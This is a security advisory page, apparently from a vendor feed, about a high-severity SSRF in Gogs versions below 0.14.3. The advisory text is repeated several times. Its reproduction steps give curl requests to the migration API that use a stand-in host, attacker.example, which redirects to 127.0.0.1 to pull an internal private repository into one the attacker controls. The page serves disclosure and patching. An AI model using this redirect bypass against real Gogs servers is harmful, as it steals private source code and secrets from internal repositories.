# Migration URL validation bypass via HTTP redirect to blocked internal endpoints ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository. ## Vulnerability Details The vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation: 1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname). 2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Git follows the redirect and clones the internal repository. 4. Gogs imports the cloned contents into the attacker's new repository. The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target. ## Impact This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to: - Steal source code and secrets from internal repositories served over HTTP. - Scan internal network services via the migration endpoint. ## Reproduction Steps Prerequisites: a Gogs instance, an attacker account that can create repositories. 1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`. 2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Verify the direct localhost URL is blocked: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: rejected as blocked local address. 4. Submit a public-looking URL that redirects to the blocked endpoint: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: migration succeeds. The new repository contains the internal repository's contents.
# Migration URL validation bypass via HTTP redirect to blocked internal endpoints ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository. ## Vulnerability Details The vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation: 1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname). 2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Git follows the redirect and clones the internal repository. 4. Gogs imports the cloned contents into the attacker's new repository. The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target. ## Impact This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to: - Steal source code and secrets from internal repositories served over HTTP. - Scan internal network services via the migration endpoint. ## Reproduction Steps Prerequisites: a Gogs instance, an attacker account that can create repositories. 1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`. 2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Verify the direct localhost URL is blocked: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: rejected as blocked local address. 4. Submit a public-looking URL that redirects to the blocked endpoint: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: migration succeeds. The new repository contains the internal repository's contents.
Update gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGogs has a Migration Redirect Bypass that Leads to Internal Repository Theft affects gogs.io/gogs (go). Severity is high. # Migration URL validation bypass via HTTP redirect to blocked internal endpoints ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository. ## Vulnerability Details The vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation: 1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname). 2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Git follows the redirect and clones the internal repository. 4. Gogs imports the cloned contents into the attacker's new repository. The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target. ## Impact This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to: - Steal source code and secrets from internal repositories served over HTTP. - Scan internal network services via the migration endpoint. ## Reproduction Steps Prerequisites: a Gogs instance, an attacker account that can create repositories. 1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`. 2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Verify the direct localhost URL is blocked: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: rejected as blocked local address. 4. Submit a public-looking URL that redirects to the blocked endpoint: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: migration succeeds. The new repository contains the internal repository's contents.
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <0.14.3 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGogs has a Migration Redirect Bypass that Leads to Internal Repository Theft affects gogs.io/gogs (go). Severity is high. # Migration URL validation bypass via HTTP redirect to blocked internal endpoints ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository. ## Vulnerability Details The vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation: 1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname). 2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Git follows the redirect and clones the internal repository. 4. Gogs imports the cloned contents into the attacker's new repository. The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target. ## Impact This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to: - Steal source code and secrets from internal repositories served over HTTP. - Scan internal network services via the migration endpoint. ## Reproduction Steps Prerequisites: a Gogs instance, an attacker account that can create repositories. 1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`. 2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Verify the direct localhost URL is blocked: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: rejected as blocked local address. 4. Submit a public-looking URL that redirects to the blocked endpoint: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: migration succeeds. The new repository contains the internal repository's contents.
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <0.14.3 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard